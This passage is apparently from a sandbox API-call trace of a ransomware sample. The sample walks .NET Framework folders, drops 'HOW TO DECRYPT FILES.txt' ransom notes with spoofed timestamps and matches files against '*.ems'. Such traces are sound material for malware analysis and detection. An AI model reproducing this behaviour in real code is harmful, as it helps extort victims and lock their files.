ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.939] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0136.939] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0136.939] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x811d4ff1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x811d4ff1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0136.939] lstrcmpA (lpString1=".", lpString2="1033") returned -1 [0136.939] lstrcmpA (lpString1="..", lpString2="1033") returned -1 [0136.939] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\*.*") returned="*.*" [0136.939] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="1033" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033" [0136.940] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x811d4ff1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x811d4ff1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0136.940] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0136.940] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x811d4ff1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x811d4ff1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.940] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0136.940] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0136.940] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a132c9e, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5a132c9e, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x7b2130dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x28540, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="cscompui.dll", cAlternateFileName="")) returned 1 [0136.940] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.940] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cscompui.dll") returned 1 [0136.940] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cscompui.dll") returned 1 [0136.940] lstrcmpiA (lpString1="", lpString2="cscompui.dll") returned -1 [0136.940] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\*.*") returned="*.*" [0136.940] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\" [0136.940] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\") returned="" [0136.940] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\HOW TO DECRYPT FILES.txt" [0136.940] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\1033\\how to decrypt files.txt")) returned 0xffffffff [0136.940] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\1033\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0136.942] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0136.942] CloseHandle (hObject=0x90) returned 1 [0136.942] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\", lpString2="cscompui.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\cscompui.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\cscompui.dll" [0136.942] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\cscompui.dll", pszSpec="*.ems") returned 0 [0136.943] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1cb21a, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5a1cb21a, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x7b2f791c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x38540, dwReserved0=0x0, dwReserved1=0x0, cFileName="vbc7ui.dll", cAlternateFileName="")) returned 1 [0136.943] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.943] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="vbc7ui.dll") returned -1 [0136.943] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="vbc7ui.dll") returned -1 [0136.943] lstrcmpiA (lpString1="", lpString2="vbc7ui.dll") returned -1 [0136.943] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\cscompui.dll") returned="cscompui.dll" [0136.943] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\" [0136.943] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\") returned="" [0136.943] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\HOW TO DECRYPT FILES.txt" [0136.943] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\1033\\how to decrypt files.txt")) returned 0x20 [0136.943] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\", lpString2="vbc7ui.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\vbc7ui.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\vbc7ui.dll" [0136.943] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\1033\\vbc7ui.dll", pszSpec="*.ems") returned 0 [0136.943] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1cb21a, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5a1cb21a, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x7b2f791c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x38540, dwReserved0=0x0, dwReserved1=0x0, cFileName="vbc7ui.dll", cAlternateFileName="")) returned 0 [0136.943] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0136.943] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a1495c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0a1495c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0a1495c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9758, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="AddInProcess.exe", cAlternateFileName="")) returned 1 [0136.944] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.944] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AddInProcess.exe") returned 1 [0136.944] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AddInProcess.exe") returned 1 [0136.944] lstrcmpiA (lpString1="", lpString2="AddInProcess.exe") returned -1 [0136.944] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\*.*") returned="*.*" [0136.944] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.944] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.944] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.944] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0xffffffff [0136.944] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0136.946] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0136.946] CloseHandle (hObject=0x8c) returned 1 [0136.946] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="AddInProcess.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInProcess.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInProcess.exe" [0136.946] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInProcess.exe", pszSpec="*.ems") returned 0 [0136.946] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58918e80, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x58918e80, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x7b558f1c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddInProcess.exe.config", cAlternateFileName="")) returned 1 [0136.946] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.946] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AddInProcess.exe.config") returned 1 [0136.946] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AddInProcess.exe.config") returned 1 [0136.946] lstrcmpiA (lpString1="", lpString2="AddInProcess.exe.config") returned -1 [0136.946] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInProcess.exe") returned="AddInProcess.exe" [0136.946] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.946] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.946] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.947] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.947] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="AddInProcess.exe.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInProcess.exe.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInProcess.exe.config" [0136.947] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInProcess.exe.config", pszSpec="*.ems") returned 0 [0136.947] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46c7acc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46c7acc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46c7acc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9758, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddInProcess32.exe", cAlternateFileName="")) returned 1 [0136.947] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.947] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AddInProcess32.exe") returned 1 [0136.947] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AddInProcess32.exe") returned 1 [0136.947] lstrcmpiA (lpString1="", lpString2="AddInProcess32.exe") returned -1 [0136.947] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInProcess.exe.config") returned="AddInProcess.exe.config" [0136.947] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.947] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.947] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.947] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.947] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="AddInProcess32.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInProcess32.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInProcess32.exe" [0136.947] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInProcess32.exe", pszSpec="*.ems") returned 0 [0136.947] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5896513e, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5896513e, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x7b63d75c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddInProcess32.exe.config", cAlternateFileName="")) returned 1 [0136.947] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.948] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AddInProcess32.exe.config") returned 1 [0136.948] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AddInProcess32.exe.config") returned 1 [0136.948] lstrcmpiA (lpString1="", lpString2="AddInProcess32.exe.config") returned -1 [0136.948] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInProcess32.exe") returned="AddInProcess32.exe" [0136.948] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.948] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.948] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.948] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.948] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="AddInProcess32.exe.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInProcess32.exe.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInProcess32.exe.config" [0136.948] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInProcess32.exe.config", pszSpec="*.ems") returned 0 [0136.948] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad69ad3d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad69ad3d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad6c0e9d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9750, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddInUtil.exe", cAlternateFileName="")) returned 1 [0136.948] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.948] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AddInUtil.exe") returned 1 [0136.948] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AddInUtil.exe") returned 1 [0136.948] lstrcmpiA (lpString1="", lpString2="AddInUtil.exe") returned -1 [0136.948] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInProcess32.exe.config") returned="AddInProcess32.exe.config" [0136.948] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.948] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.948] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.948] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.949] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="AddInUtil.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInUtil.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInUtil.exe" [0136.949] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInUtil.exe", pszSpec="*.ems") returned 0 [0136.949] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x589d755b, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x589d755b, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x7b9cf85c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddInUtil.exe.config", cAlternateFileName="")) returned 1 [0136.949] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.949] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AddInUtil.exe.config") returned 1 [0136.949] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AddInUtil.exe.config") returned 1 [0136.949] lstrcmpiA (lpString1="", lpString2="AddInUtil.exe.config") returned -1 [0136.949] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInUtil.exe") returned="AddInUtil.exe" [0136.949] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.949] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.949] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.950] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.950] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="AddInUtil.exe.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInUtil.exe.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInUtil.exe.config" [0136.950] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInUtil.exe.config", pszSpec="*.ems") returned 0 [0136.950] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6521384, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6521384, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65474e4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179348, dwReserved0=0x0, dwReserved1=0x0, cFileName="csc.exe", cAlternateFileName="")) returned 1 [0136.950] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.950] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="csc.exe") returned 1 [0136.950] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="csc.exe") returned 1 [0136.950] lstrcmpiA (lpString1="", lpString2="csc.exe") returned -1 [0136.950] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInUtil.exe.config") returned="AddInUtil.exe.config" [0136.950] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") 